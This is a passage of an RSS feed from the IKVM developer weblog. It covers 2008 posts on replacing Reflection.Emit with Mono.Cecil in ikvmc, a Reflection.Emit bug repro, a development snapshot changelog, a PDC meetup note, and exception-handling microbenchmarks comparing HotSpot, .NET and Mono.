        <img width="0" height="0" src="http://weblog.ikvm.net/aggbug.ashx?id=c8ee66de-d82a-4383-a285-bef105972b9f" />
      </body>
      <title>Using Mono.Cecil instead of Reflection.Emit in IKVMC</title>
      <guid>http://weblog.ikvm.net/PermaLink.aspx?guid=c8ee66de-d82a-4383-a285-bef105972b9f</guid>
      <link>http://weblog.ikvm.net/PermaLink.aspx?guid=c8ee66de-d82a-4383-a285-bef105972b9f</link>
      <pubDate>Tue, 12 Aug 2008 15:39:21 GMT</pubDate>
      <description>&lt;p&gt;
   I prototyped a Reflection.Emit layer for Mono.Cecil and integrated it with ikvmc.
   Preliminary results:
&lt;/p&gt;
&lt;ul&gt;
   &lt;li&gt;
      It looks like it is feasible to replace "using System.Reflection.Emit;" with "using
      Cecil.Reflection.Emit;" and only require a handful of "#if CECIL"s sprinkled through
      the code. 
   &lt;li&gt;
      Mono.Cecil is lacking some functionality required by ikvmc (global methods, multi
      module assemblies, support for calli signatures [AFAICT], support for byte[] arguments
      in custom attributes) 
   &lt;li&gt;
      Given the architecture of Mono.Cecil I'm worried that it will perform worse than Reflection.Emit
      (which, on .NET, is already pretty slow).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
   I'm pretty sure there are more issues waiting to be discovered, but these I found
   while trying to compile a relatively simple .class file. I got it to generate a verifiable
   assembly using the following ikvmc command:
&lt;/p&gt;
&lt;p&gt;
   &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;code&gt;ikvmc test.class -target:library
   -nostacktraceinfo&lt;/code&gt;
&lt;/p&gt;
&lt;p&gt;
   If you want to play along, the Cecil.Reflection.Emit layer plus the ikvmc patch (relative
   to current cvs) can be found &lt;a href="http://www.frijters.net/ikvm-cecil.zip"&gt;here&lt;/a&gt;.
&lt;/p&gt;
&lt;p&gt;
   At this point I'm not sure what's next. I don't feel working on Mono.Cecil is the
   best use of my time. I may have to put the multi assembly feature of ikvmc on the
   back burner (which also means no progress in splitting up IKVM.OpenJDK.ClassLibrary.dll).
&lt;/p&gt;
&lt;p&gt;
   On a more possitive note, doing this work made me realize that &lt;code&gt;&lt;a href="http://msdn.microsoft.com/en-us/library/system.reflection.emit.constructorbuilder.aspx"&gt;ConstructorBuilder&lt;/a&gt;&lt;/code&gt; is
   a useless annoyance and I can simplify some ikvm code by only using &lt;code&gt;&lt;a href="http://msdn.microsoft.com/en-us/library/system.reflection.emit.methodbuilder.aspx"&gt;MethodBuilder&lt;/a&gt;&lt;/code&gt; (it
   turns out that &lt;code&gt;&lt;a href="http://msdn.microsoft.com/en-us/library/system.reflection.emit.typebuilder.definemethod.aspx"&gt;DefineMethod&lt;/a&gt;&lt;/code&gt; can
   also be used to define a constructor).
&lt;/p&gt;
&lt;p&gt;
   Well, I will be able to do this once Mono's &lt;code&gt;&lt;a href="http://anonsvn.mono-project.com/viewcvs/trunk/mcs/class/corlib/System.Reflection.Emit/TypeBuilder.cs?view=markup"&gt;DefineMethod&lt;/a&gt;&lt;/code&gt; is &lt;a href="https://bugzilla.novell.com/show_bug.cgi?id=416632"&gt;fixed&lt;/a&gt; so
   that it notices that a constructor is created and not insert another default constructor.
&lt;/p&gt;
&lt;p&gt;
   &lt;strong&gt;Update:&lt;/strong&gt; Zoltan already fixed the Mono bug. Thanks!
&lt;/p&gt;
&lt;p&gt;
   &lt;strong&gt;Update 2:&lt;/strong&gt; Jb Evain pointed out that global methods are supported
   (simply add the methods to the &amp;lt;Module&amp;gt; 
   &lt;MODULE&gt;
      type) and that calli is supported via Mono.Cecil.CallSite.
&lt;/p&gt;
&lt;img width="0" height="0" src="http://weblog.ikvm.net/aggbug.ashx?id=c8ee66de-d82a-4383-a285-bef105972b9f"&gt;</description>
      <comments>http://weblog.ikvm.net/CommentView.aspx?guid=c8ee66de-d82a-4383-a285-bef105972b9f</comments>
    </item>
    <item>
      <trackback:ping>http://weblog.ikvm.net/Trackback.aspx?guid=afe525f9-1715-4db2-9d71-34892292cb87</trackback:ping>
      <pingback:server>http://weblog.ikvm.net/pingback.aspx</pingback:server>
      <pingback:target>http://weblog.ikvm.net/PermaLink.aspx?guid=afe525f9-1715-4db2-9d71-34892292cb87</pingback:target>
      <wfw:comment>http://weblog.ikvm.net/CommentView.aspx?guid=afe525f9-1715-4db2-9d71-34892292cb87</wfw:comment>
      <wfw:commentRss>http://weblog.ikvm.net/SyndicationService.asmx/GetEntryCommentsRss?guid=afe525f9-1715-4db2-9d71-34892292cb87</wfw:commentRss>
      <slash:comments>3</slash:comments>
      <body xmlns="http://www.w3.org/1999/xhtml">
        <p>
      I started working on support for compiling multiple assemblies at once with ikvmc
      (to support mutual depedencies) and ran into a rather annoying bug:
   </p>
        <p>
          <code>
            <font color="#0000ff">using</font> System;<br /><font color="#0000ff">using</font> System.Reflection;<br /><font color="#0000ff">using</font> System.Reflection.Emit;<br /><br /><font color="#0000ff">class</font><font color="#2b91af">Program</font><br />
      {<br />
        <font color="#0000ff">static void</font> Main()<br />
        {<br />
          <font color="#2b91af">AssemblyBuilder</font> ab1 = <font color="#2b91af">AppDomain</font>.CurrentDomain.DefineDynamicAssembly(<font color="#0000ff">new</font><font color="#2b91af">AssemblyName</font>(<font color="#a31515">"A1"</font>), <font color="#2b91af">AssemblyBuilderAccess</font>.Save);<br />
          <font color="#2b91af">AssemblyBuilder</font> ab2 = <font color="#2b91af">AppDomain</font>.CurrentDomain.DefineDynamicAssembly(<font color="#0000ff">new</font><font color="#2b91af">AssemblyName</font>(<font color="#a31515">"A2"</font>), <font color="#2b91af">AssemblyBuilderAccess</font>.Save);<br />
          <font color="#2b91af">ModuleBuilder</font> mod1 = ab1.DefineDynamicModule(<font color="#a31515">"A1"</font>);<br />
          <font color="#2b91af">ModuleBuilder</font> mod2 = ab2.DefineDynamicModule(<font color="#a31515">"A2"</font>);<br /><br />
          <font color="#2b91af">TypeBuilder</font> tb1 = mod1.DefineType(<font color="#a31515">"T1"</font>);<br />
          <font color="#2b91af">TypeBuilder</font> tb2 = mod2.DefineType(<font color="#a31515">"T2"</font>);<br /><br />
          <font color="#2b91af">ConstructorBuilder</font> cb1 = tb1.DefineConstructor(MethodAttributes.Public, <font color="#2b91af">CallingConventions</font>.Standard, <font color="#0000ff">null</font>);<br />
          <font color="#2b91af">ConstructorBuilder</font> cb2 = tb2.DefineConstructor(MethodAttributes.Public, <font color="#2b91af">CallingConventions</font>.Standard,
      new Type[] { tb1 });<br /><br />
          <font color="#2b91af">ILGenerator</font> ilgen = cb1.GetILGenerator();<br /><br />
          ilgen.Emit(<font color="#2b91af">OpCodes</font>.Ldnull);<br />
          ilgen.Emit(<font color="#2b91af">OpCodes</font>.Newobj, cb2);<br />
        }<br />
      }</code>
        </p>
        <p>
      Running this on .NET 2.0 SP1 results in:
   </p>
        <p>
          <code>Unhandled Exception: System.Runtime.InteropServices.COMException (0x80131130):
      Record not found on lookup. (Exception from HRESULT: 0x80131130)<br />
         at System.Reflection.Module._InternalGetMemberRef(Module refedModule,
      Int32 tr, Int32 defToken)<br />
         at System.Reflection.Emit.ModuleBuilder.InternalGetConstructorToken(ConstructorInfo
      con, Boolean usingRef)<br />
         at System.Reflection.Emit.ILGenerator.GetMethodToken(MethodBase method,
      Type[] optionalParameterTypes)<br />
         at System.Reflection.Emit.ILGenerator.Emit(OpCode opcode, ConstructorInfo
      con)<br />
         at Program.Main() in c:\vsp\RefEmitBugRepro\Program.cs:line 23</code>
        </p>
        <p>
      The "<a href="/PermaLink.aspx?guid=fc89b4f3-1208-44c2-ad52-9aedec7fac9b">no Microsoft
      bug filing</a>" policy is still in effect, so I won't be filing a bug with Microsoft
      for this.
   </p>
        <p>
          <b>Workaround</b>
        </p>
        <p>
      For the scenario above there is a (painful) workaround. You can create your own ConstructorInfo
      subclass that represents the constructor you want to call, if you do that ILGenerator.Emit()
      will end up in a different code path to lookup the token and that code path does work.
   </p>
        <p>
      I haven't tried it, but I assume this workaround also works for methods and fields.
   </p>
        <p>
      I think that for ikvmc I won't be using this workaround, but instead I'll treat this
      as a good reason to finally start looking into using Mono.Cecil instead of Reflection.Emit.
   </p>
        <img width="0" height="0" src="http://weblog.ikvm.net/aggbug.ashx?id=afe525f9-1715-4db2-9d71-34892292cb87" />
      </body>
      <title>Reflection.Emit Bug</title>
      <guid>http://weblog.ikvm.net/PermaLink.aspx?guid=afe525f9-1715-4db2-9d71-34892292cb87</guid>
      <link>http://weblog.ikvm.net/PermaLink.aspx?guid=afe525f9-1715-4db2-9d71-34892292cb87</link>
      <pubDate>Sun, 10 Aug 2008 08:02:40 GMT</pubDate>
      <description>&lt;p&gt;
   I started working on support for compiling multiple assemblies at once with ikvmc
   (to support mutual depedencies) and ran into a rather annoying bug:
&lt;/p&gt;
&lt;p&gt;
   &lt;code&gt;&lt;font color=#0000ff&gt;using&lt;/font&gt; System;&lt;br&gt;
   &lt;font color=#0000ff&gt;using&lt;/font&gt; System.Reflection;&lt;br&gt;
   &lt;font color=#0000ff&gt;using&lt;/font&gt; System.Reflection.Emit;&lt;br&gt;
   &lt;br&gt;
   &lt;font color=#0000ff&gt;class&lt;/font&gt; &lt;font color=#2b91af&gt;Program&lt;/font&gt;
   &lt;br&gt;
   {&lt;br&gt;
   &amp;nbsp; &lt;font color=#0000ff&gt;static void&lt;/font&gt; Main()&lt;br&gt;
   &amp;nbsp; {&lt;br&gt;
   &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;font color=#2b91af&gt;AssemblyBuilder&lt;/font&gt; ab1 = &lt;font color=#2b91af&gt;AppDomain&lt;/font&gt;.CurrentDomain.DefineDynamicAssembly(&lt;font color=#0000ff&gt;new&lt;/font&gt; &lt;font color=#2b91af&gt;AssemblyName&lt;/font&gt;(&lt;font color=#a31515&gt;"A1"&lt;/font&gt;), &lt;font color=#2b91af&gt;AssemblyBuilderAccess&lt;/font&gt;.Save);&lt;br&gt;
   &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;font color=#2b91af&gt;AssemblyBuilder&lt;/font&gt; ab2 = &lt;font color=#2b91af&gt;AppDomain&lt;/font&gt;.CurrentDomain.DefineDynamicAssembly(&lt;font color=#0000ff&gt;new&lt;/font&gt; &lt;font color=#2b91af&gt;AssemblyName&lt;/font&gt;(&lt;font color=#a31515&gt;"A2"&lt;/font&gt;), &lt;font color=#2b91af&gt;AssemblyBuilderAccess&lt;/font&gt;.Save);&lt;br&gt;
   &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;font color=#2b91af&gt;ModuleBuilder&lt;/font&gt; mod1 = ab1.DefineDynamicModule(&lt;font color=#a31515&gt;"A1"&lt;/font&gt;);&lt;br&gt;
   &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;font color=#2b91af&gt;ModuleBuilder&lt;/font&gt; mod2 = ab2.DefineDynamicModule(&lt;font color=#a31515&gt;"A2"&lt;/font&gt;);&lt;br&gt;
   &lt;br&gt;
   &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;font color=#2b91af&gt;TypeBuilder&lt;/font&gt; tb1 = mod1.DefineType(&lt;font color=#a31515&gt;"T1"&lt;/font&gt;);&lt;br&gt;
   &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;font color=#2b91af&gt;TypeBuilder&lt;/font&gt; tb2 = mod2.DefineType(&lt;font color=#a31515&gt;"T2"&lt;/font&gt;);&lt;br&gt;
   &lt;br&gt;
   &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;font color=#2b91af&gt;ConstructorBuilder&lt;/font&gt; cb1 = tb1.DefineConstructor(MethodAttributes.Public, &lt;font color=#2b91af&gt;CallingConventions&lt;/font&gt;.Standard, &lt;font color=#0000ff&gt;null&lt;/font&gt;);&lt;br&gt;
   &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;font color=#2b91af&gt;ConstructorBuilder&lt;/font&gt; cb2 = tb2.DefineConstructor(MethodAttributes.Public, &lt;font color=#2b91af&gt;CallingConventions&lt;/font&gt;.Standard,
   new Type[] { tb1 });&lt;br&gt;
   &lt;br&gt;
   &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;font color=#2b91af&gt;ILGenerator&lt;/font&gt; ilgen = cb1.GetILGenerator();&lt;br&gt;
   &lt;br&gt;
   &amp;nbsp;&amp;nbsp;&amp;nbsp; ilgen.Emit(&lt;font color=#2b91af&gt;OpCodes&lt;/font&gt;.Ldnull);&lt;br&gt;
   &amp;nbsp;&amp;nbsp;&amp;nbsp; ilgen.Emit(&lt;font color=#2b91af&gt;OpCodes&lt;/font&gt;.Newobj, cb2);&lt;br&gt;
   &amp;nbsp; }&lt;br&gt;
   }&lt;/code&gt;
&lt;/p&gt;
&lt;p&gt;
   Running this on&amp;nbsp;.NET 2.0 SP1&amp;nbsp;results in:
&lt;/p&gt;
&lt;p&gt;
   &lt;code&gt;Unhandled Exception: System.Runtime.InteropServices.COMException (0x80131130):
   Record not found on lookup. (Exception from HRESULT: 0x80131130)&lt;br&gt;
   &amp;nbsp;&amp;nbsp; at System.Reflection.Module._InternalGetMemberRef(Module refedModule,
   Int32 tr, Int32 defToken)&lt;br&gt;
   &amp;nbsp;&amp;nbsp; at System.Reflection.Emit.ModuleBuilder.InternalGetConstructorToken(ConstructorInfo
   con, Boolean usingRef)&lt;br&gt;
   &amp;nbsp;&amp;nbsp; at System.Reflection.Emit.ILGenerator.GetMethodToken(MethodBase method,
   Type[] optionalParameterTypes)&lt;br&gt;
   &amp;nbsp;&amp;nbsp; at System.Reflection.Emit.ILGenerator.Emit(OpCode opcode, ConstructorInfo
   con)&lt;br&gt;
   &amp;nbsp;&amp;nbsp; at Program.Main() in c:\vsp\RefEmitBugRepro\Program.cs:line 23&lt;/code&gt;
&lt;/p&gt;
&lt;p&gt;
   The "&lt;a href="/PermaLink.aspx?guid=fc89b4f3-1208-44c2-ad52-9aedec7fac9b"&gt;no Microsoft
   bug filing&lt;/a&gt;" policy is still in effect, so I won't be filing a bug with Microsoft
   for this.
&lt;/p&gt;
&lt;p&gt;
   &lt;b&gt;Workaround&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
   For the scenario above there is a (painful) workaround. You can create your own ConstructorInfo
   subclass that represents the constructor you want to call, if you do that ILGenerator.Emit()
   will end up in a different code path to lookup the token and that code path does work.
&lt;/p&gt;
&lt;p&gt;
   I haven't tried it, but I assume this workaround also works for methods and fields.
&lt;/p&gt;
&lt;p&gt;
   I think that for ikvmc I won't be using this workaround, but instead I'll treat this
   as a good reason to finally start looking into using Mono.Cecil instead of Reflection.Emit.
&lt;/p&gt;
&lt;img width="0" height="0" src="http://weblog.ikvm.net/aggbug.ashx?id=afe525f9-1715-4db2-9d71-34892292cb87"&gt;</description>
      <comments>http://weblog.ikvm.net/CommentView.aspx?guid=afe525f9-1715-4db2-9d71-34892292cb87</comments>
    </item>
    <item>
      <trackback:ping>http://weblog.ikvm.net/Trackback.aspx?guid=db8bfdfa-42da-4f0a-a917-4ff9290ace51</trackback:ping>
      <pingback:server>http://weblog.ikvm.net/pingback.aspx</pingback:server>
      <pingback:target>http://weblog.ikvm.net/PermaLink.aspx?guid=db8bfdfa-42da-4f0a-a917-4ff9290ace51</pingback:target>
      <wfw:comment>http://weblog.ikvm.net/CommentView.aspx?guid=db8bfdfa-42da-4f0a-a917-4ff9290ace51</wfw:comment>
      <wfw:commentRss>http://weblog.ikvm.net/SyndicationService.asmx/GetEntryCommentsRss?guid=db8bfdfa-42da-4f0a-a917-4ff9290ace51</wfw:commentRss>
      <slash:comments>0</slash:comments>
      <body xmlns="http://www.w3.org/1999/xhtml">
        <p>
      Time for another snapshot.
   </p>
        <p>
      Changes since previous development snapshot:
   </p>
        <ul>
          <li>
         Removed support for building with GNU Classpath class library.</li>
          <li>
         DatagramSocket: Implemented connected datagram sockets using .NET 2.0 API.</li>
          <li>
         DatagramSocket: Used .NET 2.0 Socket.IOControl() API to disable WSAECONNRESET errors
         (when not connected).</li>
          <li>
         DatagramSocket: Throw PortUnreachableException from receive() if we receive WSAECONNRESET
         while connected.</li>
          <li>
         Various java.util.zip compatibility and bug fixes.</li>
          <li>
         Fixed bytecode compiler not to generate unneeded GC.KeepAlive() in constructor for
         Exception types that don't have a finalize() method.</li>
          <li>
         Fixed <a href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=2001802&amp;group_id=69637&amp;atid=525264">#2001802</a> contributed
         by Andy Malakov.</li>
          <li>
         Fixed <a href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=2001799&amp;group_id=69637&amp;atid=525264">#2001799</a>.</li>
          <li>
         Fixed <a href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=2006953&amp;group_id=69637&amp;atid=525264">#2006953</a>.</li>
          <li>
         Fixed file I/O error handling incompatibilities.</li>
          <li>
         Added ghost array tagging to be able to report the instantiated class (instead of
         the object[] which is allocated instead).</li>
          <li>
         Fixed ldc &lt;class&gt; where &lt;class&gt; is a ghost array.</li>
          <li>
         Fixed bug in instanceof &lt;class&gt; where &lt;class&gt; is a Serializable[].</li>
          <li>
         Removed Mono workarounds that are no longer needed with Mono 2.0.</li>
        </ul>
        <p>
          <b>WARNING: THIS IS A DEVELOPMENT SNAPSHOT, NOT AN OFFICIAL RELEASE.</b>
          <br />
          <br />
      Development snapshots are intended for evaluating and keeping track of where the project
      is going, not for production usage. The binaries have not been extensively tested
      and are not strong named.<br /><br />
      This version supports .NET 2.0 SP1 and Mono 2.0.<br /><br />
      Binaries available here: <a href="http://www.frijters.net/ikvmbin-0.37.3141.zip">ikvmbin-0.37.3141.zip</a></p>
        <img width="0" height="0" src="http://weblog.ikvm.net/aggbug.ashx?id=db8bfdfa-42da-4f0a-a917-4ff9290ace51" />
      </body>
      <title>New Development Snapshot</title>
      <guid>http://weblog.ikvm.net/PermaLink.aspx?guid=db8bfdfa-42da-4f0a-a917-4ff9290ace51</guid>
      <link>http://weblog.ikvm.net/PermaLink.aspx?guid=db8bfdfa-42da-4f0a-a917-4ff9290ace51</link>
      <pubDate>Thu, 07 Aug 2008 06:13:00 GMT</pubDate>
      <description>&lt;p&gt;
   Time for another snapshot.
&lt;/p&gt;
&lt;p&gt;
   Changes since previous development snapshot:
&lt;/p&gt;
&lt;ul&gt;
   &lt;li&gt;
      Removed support for building with GNU Classpath class library.&lt;/li&gt;
   &lt;li&gt;
      DatagramSocket: Implemented connected datagram sockets using .NET 2.0 API.&lt;/li&gt;
   &lt;li&gt;
      DatagramSocket: Used .NET 2.0 Socket.IOControl() API to disable WSAECONNRESET errors
      (when not connected).&lt;/li&gt;
   &lt;li&gt;
      DatagramSocket: Throw PortUnreachableException from receive() if we receive WSAECONNRESET
      while connected.&lt;/li&gt;
   &lt;li&gt;
      Various java.util.zip compatibility and bug fixes.&lt;/li&gt;
   &lt;li&gt;
      Fixed bytecode compiler not to generate unneeded GC.KeepAlive() in constructor for
      Exception types that don't have a finalize() method.&lt;/li&gt;
   &lt;li&gt;
      Fixed &lt;a href="http://sourceforge.net/tracker/index.php?func=detail&amp;amp;aid=2001802&amp;amp;group_id=69637&amp;amp;atid=525264"&gt;#2001802&lt;/a&gt; contributed
      by Andy Malakov.&lt;/li&gt;
   &lt;li&gt;
      Fixed &lt;a href="http://sourceforge.net/tracker/index.php?func=detail&amp;amp;aid=2001799&amp;amp;group_id=69637&amp;amp;atid=525264"&gt;#2001799&lt;/a&gt;.&lt;/li&gt;
   &lt;li&gt;
      Fixed &lt;a href="http://sourceforge.net/tracker/index.php?func=detail&amp;amp;aid=2006953&amp;amp;group_id=69637&amp;amp;atid=525264"&gt;#2006953&lt;/a&gt;.&lt;/li&gt;
   &lt;li&gt;
      Fixed file I/O error handling incompatibilities.&lt;/li&gt;
   &lt;li&gt;
      Added ghost array tagging to be able to report the instantiated class (instead of
      the object[] which is allocated instead).&lt;/li&gt;
   &lt;li&gt;
      Fixed ldc &amp;lt;class&amp;gt; where &amp;lt;class&amp;gt; is a ghost array.&lt;/li&gt;
   &lt;li&gt;
      Fixed bug in instanceof &amp;lt;class&amp;gt; where &amp;lt;class&amp;gt; is a Serializable[].&lt;/li&gt;
   &lt;li&gt;
      Removed Mono workarounds that are no longer needed with Mono 2.0.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
   &lt;b&gt;WARNING: THIS IS A DEVELOPMENT SNAPSHOT, NOT AN OFFICIAL RELEASE.&lt;/b&gt;
   &lt;br&gt;
   &lt;br&gt;
   Development snapshots are intended for evaluating and keeping track of where the project
   is going, not for production usage. The binaries have not been extensively tested
   and are not strong named.&lt;br&gt;
   &lt;br&gt;
   This version supports .NET 2.0 SP1 and Mono 2.0.&lt;br&gt;
   &lt;br&gt;
   Binaries available here: &lt;a href="http://www.frijters.net/ikvmbin-0.37.3141.zip"&gt;ikvmbin-0.37.3141.zip&lt;/a&gt;
&lt;/p&gt;
&lt;img width="0" height="0" src="http://weblog.ikvm.net/aggbug.ashx?id=db8bfdfa-42da-4f0a-a917-4ff9290ace51"&gt;</description>
      <comments>http://weblog.ikvm.net/CommentView.aspx?guid=db8bfdfa-42da-4f0a-a917-4ff9290ace51</comments>
    </item>
    <item>
      <trackback:ping>http://weblog.ikvm.net/Trackback.aspx?guid=cb24cc03-6a1c-42ce-8762-3ede24ca8640</trackback:ping>
      <pingback:server>http://weblog.ikvm.net/pingback.aspx</pingback:server>
      <pingback:target>http://weblog.ikvm.net/PermaLink.aspx?guid=cb24cc03-6a1c-42ce-8762-3ede24ca8640</pingback:target>
      <wfw:comment>http://weblog.ikvm.net/CommentView.aspx?guid=cb24cc03-6a1c-42ce-8762-3ede24ca8640</wfw:comment>
      <wfw:commentRss>http://weblog.ikvm.net/SyndicationService.asmx/GetEntryCommentsRss?guid=cb24cc03-6a1c-42ce-8762-3ede24ca8640</wfw:commentRss>
      <slash:comments>1</slash:comments>
      <body xmlns="http://www.w3.org/1999/xhtml">
        <p>
      I'll be at the <a href="http://www.microsoftpdc.com/">PDC</a> again this year. Drop
      me a line if you're going and want to meet me there to chat (or to buy me a beer
      ;-)).
   </p>
        <p>
          <a href="mailto:jeroen@frijters.net&amp;subject=PDC%20Meetup">
            <img alt="Meet me in Los Angeles -- PDC 2008" src="http://microsoftpdc.com/Images/BlogBling/Bling2.jpg" border="0" />
          </a>
        </p>
        <img width="0" height="0" src="http://weblog.ikvm.net/aggbug.ashx?id=cb24cc03-6a1c-42ce-8762-3ede24ca8640" />
      </body>
      <title>PDC</title>
      <guid>http://weblog.ikvm.net/PermaLink.aspx?guid=cb24cc03-6a1c-42ce-8762-3ede24ca8640</guid>
      <link>http://weblog.ikvm.net/PermaLink.aspx?guid=cb24cc03-6a1c-42ce-8762-3ede24ca8640</link>
      <pubDate>Wed, 09 Jul 2008 05:35:32 GMT</pubDate>
      <description>&lt;p&gt;
   I'll be at the &lt;a href="http://www.microsoftpdc.com/"&gt;PDC&lt;/a&gt; again this year. Drop
   me a line if you're going and want to meet me there&amp;nbsp;to chat (or to buy me a beer
   ;-)).
&lt;/p&gt;
&lt;p&gt;
   &lt;a href="mailto:jeroen@frijters.net&amp;amp;subject=PDC%20Meetup"&gt;&lt;img alt="Meet me in Los Angeles -- PDC 2008" src="http://microsoftpdc.com/Images/BlogBling/Bling2.jpg" border=0&gt;&lt;/a&gt;
&lt;/p&gt;
&lt;img width="0" height="0" src="http://weblog.ikvm.net/aggbug.ashx?id=cb24cc03-6a1c-42ce-8762-3ede24ca8640"&gt;</description>
      <comments>http://weblog.ikvm.net/CommentView.aspx?guid=cb24cc03-6a1c-42ce-8762-3ede24ca8640</comments>
    </item>
    <item>
      <trackback:ping>http://weblog.ikvm.net/Trackback.aspx?guid=388b2a6d-e7b2-4ffa-86e7-450c87e6178f</trackback:ping>
      <pingback:server>http://weblog.ikvm.net/pingback.aspx</pingback:server>
      <pingback:target>http://weblog.ikvm.net/PermaLink.aspx?guid=388b2a6d-e7b2-4ffa-86e7-450c87e6178f</pingback:target>
      <wfw:comment>http://weblog.ikvm.net/CommentView.aspx?guid=388b2a6d-e7b2-4ffa-86e7-450c87e6178f</wfw:comment>
      <wfw:commentRss>http://weblog.ikvm.net/SyndicationService.asmx/GetEntryCommentsRss?guid=388b2a6d-e7b2-4ffa-86e7-450c87e6178f</wfw:commentRss>
      <slash:comments>1</slash:comments>
      <body xmlns="http://www.w3.org/1999/xhtml">
        <p>
          <a href="/PermaLink.aspx?guid=062e4506-89c4-488e-9104-59c1ec80007b">Last time</a> we
      saw that CLR exception handling is significantly slower than HotSpot exception handling.
      This time we'll look at two very variations of the ExceptionPerf1 microbenchmark that
      significantly affect performance.
   </p>
        <p>
      I've highlighted the changes.
   </p>
        <p>
      Variation 1
   </p>
        <p>
          <code>
            <font color="#0000ff">public class</font>
            <font color="#2b91af">ExceptionPerf2</font> {<br />
        <font color="#0000ff">public static void</font> main(<font color="#2b91af">String</font>[]
      args) {<br />
          <font color="#0000ff">long</font> start = <font color="#2b91af">System</font>.currentTimeMillis();<br />
          <font color="#0000ff">for</font> (<font color="#0000ff">int</font> i
      = 0; i &lt; 100000; i++) {<br />
            <font color="#0000ff">try</font> {<br />
              <font color="#2b91af">Integer</font>.parseInt(<span style="BACKGROUND-COLOR: #ffff00"><font color="#a31515">""</font></span>);<br />
            }<br />
            <font color="#0000ff">catch</font> (<font color="#2b91af">NumberFormatException</font> x)
      {<br />
            }<br />
          }<br />
          <font color="#0000ff">long</font> end = <font color="#2b91af">System</font>.currentTimeMillis();<br />
          <font color="#2b91af">System</font>.out.println(end - start);<br />
        }<br />
      }</code>
        </p>
        <p>
      Variation 2
   </p>
        <p>
          <code>
            <font color="#0000ff">public class</font>
            <font color="#2b91af">ExceptionPerf3</font> {<br />
        <span style="BACKGROUND-COLOR: #ffff00"><font color="#0000ff">static</font><font color="#2b91af">NumberFormatException</font> exc;</span><br />
        <font color="#0000ff">public static void</font> main(<font color="#2b91af">String</font>[]
      args) {<br />
          <font color="#0000ff">long</font> start = <font color="#2b91af">System</font>.currentTimeMillis();<br />
          <font color="#0000ff">for</font> (<font color="#0000ff">int</font> i
      = 0; i &lt; 100000; i++) {<br />
            <font color="#0000ff">try</font> {<br />
              <font color="#2b91af">Integer</font>.parseInt(<font color="#0000ff">null</font>);<br />
            }<br />
            <font color="#0000ff">catch</font> (<font color="#2b91af">NumberFormatException</font> x)
      {<br />
              <span style="BACKGROUND-COLOR: #ffff00">exc
      = x;</span><br />
            }<br />
          }<br />
          <font color="#0000ff">long</font> end = <font color="#2b91af">System</font>.currentTimeMillis();<br />
          <font color="#2b91af">System</font>.out.println(end - start);<br />
        }<br />
      }</code>
        </p>
        <p>
      Results:
   </p>
        <table cellspacing="0" border="0">
          <tbody>
            <tr>
              <td style="BORDER-RIGHT: black 1px solid; BORDER-BOTTOM: black 1px solid">
                </td>
              <td style="BORDER-BOTTOM: black 1px solid" align="right">
                   HotSpot 1.6 x86</td>
              <td style="BORDER-BOTTOM: black 1px solid" align="right">
                   .NET 1.1 SP1</td>
              <td style="BORDER-BOTTOM: black 1px solid" align="right">
                   .NET 2.0 SP1 x86</td>
              <td style="BORDER-BOTTOM: black 1px solid" align="right">
                   Mono 1.9 x86</td>
            </tr>
            <tr>
              <td style="BORDER-RIGHT: black 1px solid">
               ExceptionPerf1</td>
              <td align="right">
               111</td>
              <td align="right">
               14743</td>
              <td align="right">
               3590</td>
              <td align="right">
               537</td>
            </tr>
            <tr>
              <td style="BORDER-RIGHT: black 1px solid">
               ExceptionPerf2</td>
              <td align="right">
               140</td>
              <td align="right">
               15735</td>
              <td align="right">
               10761</td>
              <td align="right">
               36309</td>
            </tr>
            <tr>
              <td style="BORDER-RIGHT: black 1px solid">
               ExceptionPerf3</td>
              <td align="right">
               112</td>
              <td align="right">
               14946</td>
              <td align="right">
               9728</td>
              <td align="right">
               24107</td>
            </tr>
          </tbody>
        </table>
        <p>
          <br />
      .NET/Mono results with IKVM 0.36
   </p>
        <p>
          <b>Why do these small changes have such a big perf impact?</b>
        </p>
        <p>
      Both these changes result in additional stack trace data being collected. IKVM has
      some optimizations that prevent gathering stack traces in very specific circumstances.
      Normally when you create a Java exception object, the <code><a href="http://java.sun.com/javase/6/docs/api/java/lang/Throwable.html">Throwable</a></code> constructor
      will call <code><a href="http://java.sun.com/javase/6/docs/api/java/lang/Throwable.html#fillInStackTrace()">Throwable.fillInStackTrace()</a></code>.
      However, since this is a very expensive operation, IKVM tries to remove this call
      when it is unnecessary (i.e. when it sees that you immediately throw the exception
      and the exception type doesn't override <code>Throwable.fillInStackTrace()</code>).
      Additionally, in Java an exception object will always have the complete stack trace,
      but a .NET exception only has the stack frames from the throw to the catch site. This
      means that at the catch site IKVM will collect the rest of the stack trace, unless
      the exception object isn't used (as in the ExceptionPerf1 microbenchmark).
   </p>
        <p>
      The time it takes to collect a stack traces obviously depends on the call stack depth,
      so let's look at a microbenchmark to measure that effect:
   </p>
        <p>
          <code>
            <font color="#0000ff">class</font>
            <font color="#2b91af">ExceptionPerf4</font> {<br />
        <font color="#0000ff">public static void</font> main(<font color="#2b91af">String</font>[]
      args) {<br />
          nest(<font color="#2b91af">Integer</font>.parseInt(args[0]));<br />
        }<br /><br />
        <font color="#0000ff">static void</font> nest(<font color="#0000ff">int</font> depth)
      {<br />
          <font color="#0000ff">if</font> (depth &gt; 0) {<br />
            nest(depth - 1);<br />
          } <font color="#0000ff">else</font> {<br />
            run();<br />
          }<br />
        }<br /><br />
        <font color="#0000ff">static void</font> run() {<br />
          <font color="#2b91af">Exception</font> x = new <font color="#2b91af">Exception</font>();<br />
          <font color="#0000ff">long</font> start = <font color="#2b91af">System</font>.currentTimeMillis();<br />
